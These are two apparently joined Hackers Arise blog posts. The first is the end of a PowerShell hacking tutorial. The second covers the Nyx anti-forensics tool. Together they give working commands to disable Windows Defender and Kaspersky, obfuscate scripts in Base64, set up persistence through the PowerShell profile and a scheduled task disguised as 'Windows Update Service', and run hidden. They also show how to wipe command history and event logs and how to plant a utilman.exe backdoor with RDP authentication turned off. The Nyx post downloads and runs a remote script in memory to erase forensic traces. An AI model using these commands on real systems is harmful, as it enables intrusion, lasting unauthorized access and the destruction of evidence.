PS > Get-Service | Where-Object { $_.DisplayName -like "*Kaspersky*" }

You can check other systems remotely with WMI. The command below lists the name of the antivirus installed:

PS > Get-WmiObject -Namespace 'root\SecurityCenter2' -Class AntiVirusProduct -ComputerName 'OM-2' -Credential (Get-Credential Administrator) | Select-Object PSComputerName, displayName, pathToSignedProductExe, productState

Here is how you disable Windows Defender:

PS > Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableNetworkProtection AuditMode -MAPSReporting Disabled -SubmitSamplesConsent NeverSend -EnableControlledFolderAccess Disabled

Kaspersky can be disabled with this command, provided it’s just a local installation:

PS > Stop-Service -Name KAVFS,kavfsslp,klnagent -Force

Base64 Encoding

Base64 can encode binary or text into a portable format. When you convert something into Base64, it makes it harder to immediately understand what the code does.

PS > [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Write-Host "Hackers-Arise!"'))
PS > powershell -e "<base64>"

Reverse Shells

Encoded reverse shells can be customized on revshells.com and used to connect back to your listener.

Profile Persistence

Profile persistence is a technique of embedding code into a user’s PowerShell profile so the code executes every time a new PowerShell session starts. When PowerShell launches, it checks for profile scripts and runs whatever commands they hold.

Let’s add a script to our profile:

PS > Add-Content -Path $Profile -Value “C:\Windows\Temp\script.ps1”
PS > Set-ExecutionPolicy Bypass -Scope LocalMachine -Force

Stealth Execution

-WindowStyle Hidden makes a PowerShell script or command run without showing any visible window to the user. When hackers run scripts, they don’t want to draw attention. If you run PowerShell normally, a window might briefly flash on screen and alert the victim.

Let’s execute our script:

PS > Start-Process powershell.exe -WindowStyle Hidden -ArgumentList "-ExecutionPolicy Bypass -File C:\Windows\Temp\script.ps1"

-NoProfile avoids loading profile scripts:

PS > powershell.exe -NoProfile -Command "Write-Output 'Hackers-Arise!'"

Managing Command History

Just like in Linux, there’s a command history. By default it typically holds the last 50 entries. You can list them with Get-History.

Or read the file itself:

PS > Get-Content “$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt”

Instead of deleting it, let’s overwrite it:

PS > Set-Content “$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt” -Value “”

Listing Process Command Lines

Listing command lines for each process can help you find usernames, passwords, IPs and other things.

PS > gwmi win32_process | select CommandLine

Scheduled Tasks

Scheduled Tasks get used for persistence and privilege escalation. Each task is defined by a set of triggers (at logon, at a given time, or on an event), actions (the program, script, or command to run), and optional conditions or settings that control retries and timeouts.

For privilege escalation you want to find vulnerable tasks. We’ll output all the scheduled tasks to a file and then look for “SYSTEM”:

PS > schtasks /query /fo LIST /v > schtask.txt

For persistence, create your own task or modify the existing one:

PS > schtasks /create /tn “Windows Update Service” /tr “C:\Windows\Temp\hackers-arise.exe” /sc hourly /mo 3 /ru System”

Make sure it exists:

PS > schtasks /query /tn “Windows Update Service”

Force it to run immediately:

PS > schtasks /run /tn “Windows Update Service”

Or delete it:

PS > schtasks /delete /tn “Windows Update Service” /f

Everything was successful. 

Sessions

To see currently active user sessions, use quser or qwinsta. These commands show usernames with their session details, including idle time.

If you need to kill someone’s connection:

PS > logoff ((quser | Where-Object { $_ -match 'username' } ) -split '\s+' )[2]

If you accidentally trigger the creation of a new user profile by signing into a computer where that user has never logged in before, kill the session tied to that user first, then delete the created user folder:

PS > cmd.exe /c "rd /s /q C:\Users\username"

Logs

Hackers clear Windows logs to cover their tracks. Here’s how:

PS > Clear-EventLog Security,System,Application; "Windows PowerShell","Microsoft-Windows-PowerShell/Operational","Microsoft-Windows-WMI-Activity/Operational" | ForEach-Object { & "$env:windir\System32\wevtutil.exe" cl $_ }

First the command clears the classic Windows event logs, then it uses wevtutil.exe to clear the more modern ones.

Other Commands

Below you can find other useful commands.

Bonus: Establishing a Backdoor

Once a system’s been compromised, you can establish a backdoor. There are many of them, depending on your objectives and the environment. Our technique uses utilman.exe.

Utilman

Utilman.exe is the Windows Utility Manager. It’s the program that runs when you click the “Ease of Access” button on the login screen or press Win+U. It’s meant to provide accessibility tools (Narrator, Magnifier, or On-Screen Keyboard) before you log in.

It can be exploited by tweaking the registry so it points to cmd.exe instead. As a result, pressing the Ease of Access button at the login prompt launches a CMD prompt with SYSTEM privileges.

Using registry let’s set up the backdoor:

PS > reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f

Then we disable NLA for RDP, that way it won’t require valid credentials to open an RDP session:

PS >reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

After that you need to reboot the system or wait for an administrator to do it.

If you use Sticky Keys instead, you won’t need to reboot at all.

Conclusion

PowerShell is a powerful tool, as you can see. In this first part, we’ve covered essential commands, credential harvesting, persistence and stealth. In the next part, we’ll build on this foundation with more advanced tools.

If you want to learn how PowerShell can be used in both red team and blue team scenarios, get our PowerShell for Hackers training. We’ll show things that can’t be covered here.

The post PowerShell for Hackers, Part 1: The Basics first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

During red team engagements, we often have to deal with the logs that different operating systems store. Every action can leave behind digital evidence. That evidence is exactly what blue teams and digital forensics investigators rely on when reconstructing an attack.

Sometimes, however, a red team engagement is meant to simulate an adversary as realistically as possible. Hackers frequently attempt to hide what they did by erasing evidence of their activity or altering forensic artifacts to make investigations more difficult. If we want to accurately evaluate an organization’s ability to detect sophisticated intrusions, we also need to test how well it responds when an attacker attempts to remove those traces. There are different tools that exist that help reduce your footprint. For instance, HackShell, which we covered in one of our previous articles, makes Bash much stealthier, minimizing command history and improving OPSEC. 

But it does not help with removing all forensic traces that already exist throughout the operating system.

There is a different tool that focuses specifically on that task called Nyx.

What is Nyx

Nyx is a self-contained script for cleaning forensic traces on Linux, macOS, and Windows. The scripts walk through a predefined collection of forensic artifacts and remove or clean evidence that may have been generated during system usage.

Of course, no anti-forensics tool can guarantee that every trace of activity disappears. Modern enterprise environments often collect telemetry from many different sources including endpoint detection products, centralized log servers, network monitoring systems, cloud services, and backup solutions. Even if local artifacts are modified or deleted, evidence may still exist elsewhere. Nevertheless, Nyx has techniques that sophisticated hackers may attempt after achieving access to a system.

Below is only a portion of the Linux artifacts that Nyx targets. The complete list is considerably larger. Among the supported modules are shell history files, authentication logs, system logs, audit records, network-related artifacts, user activity, temporary files, and many other forensic traces that investigators commonly examine during an incident response investigation.

Since a significant portion of today’s infrastructure runs on Linux, the script includes modules that focus on the forensic artifacts generated by Linux servers and the services they host.

Windows typically runs less server infrastructure than Linux, so the list is somewhat shorter. Even so, Nyx still targets several important sources of forensic evidence, including Windows Event Logs, PowerShell history, registry-related security artifacts, and various other traces that investigators commonly analyze after a compromise.

Finally, macOS also receives attention with its own collection of supported forensic artifacts. Although the list is smaller than Linux, Nyx still includes modules designed to clean several sources of evidence that may reveal user or system activity.

Cleaning Forensic Evidence on Windows

Now we are ready to test the script and see how it works. There are several different ways you can execute it depending on your objective and your environment.

We will begin with Windows. Before actually cleaning anything, it is a good idea to start with -DryRun. This will show exactly what Nyx plans to clean without making any modifications to the system.

PS > wget https://raw.githubusercontent.com/evilsocket/nyx/refs/heads/main/nyx.ps1 -O nyx.ps1

PS > .\nyx.ps1 -DryRun

Although the output reports the items that would be cleaned, nothing has actually been removed. The dry run simply shows the actions that Nyx intends to perform. 

Let’s clean them now.

PS > .\nyx.ps1

At this point, Nyx begins processing its configured modules and attempts to remove the supported forensic artifacts from the local system.

The same thing can also be achieved through in-memory execution without writing the script to disk first. Running tools directly from memory is a common technique used by hackers because it reduces the number of files written to the filesystem. However, that does not automatically mean antivirus or endpoint detection products will ignore the activity. Modern security products monitor far more than just files stored on disk. They also observe process behavior, PowerShell activity, AMSI events, command-line arguments, parent-child process relationships, memory behavior, and many other indicators.

PS > iwr https://raw.githubusercontent.com/evilsocket/nyx/refs/heads/main/nyx.ps1 | iex

If needed, you can force execution without waiting for a confirmation prompt by adding the -Force flag. Useful when automating execution across multiple systems with PsExec.

Cleaning Forensic Evidence on Linux

Just as with Windows, it is often a good idea to begin by reviewing what the script intends to do before actually modifying the system.

If necessary, you can repeat the same process by listing the modules that will be used with the -n flag.

bash# > bash nyx.sh -n 

As you can see, it goes through multiple modules, including those related to IoT Smart Home devices, cryptocurrency artifacts, IDS and IPS logs, network traces, and many additional categories. This broad coverage also means that privacy-conscious users who want to remove unnecessary traces from their own systems may also find parts of the project useful, provided they understand what information is being deleted.

Summary

Instead of manually searching for dozens of log files, Nyx can speed up this process. It shows why centralized logging, endpoint monitoring and multiple layers of telemetry are so important. Even if a hacker succeeds in cleaning local artifacts, independent security systems may still preserve the evidence needed to detect and investigate the intrusion.

If you want to go deeper into how privacy can be preserved on real systems and how forensic traces are created and analyzed, our Anti-Forensics training is your next step. We covered advanced techniques for preserving your privacy and understanding what investigators can still see even when you think you have covered your tracks.

The post Anti-Forensics: Hiding Your Presence with Nyx first appeared on Hackers Arise.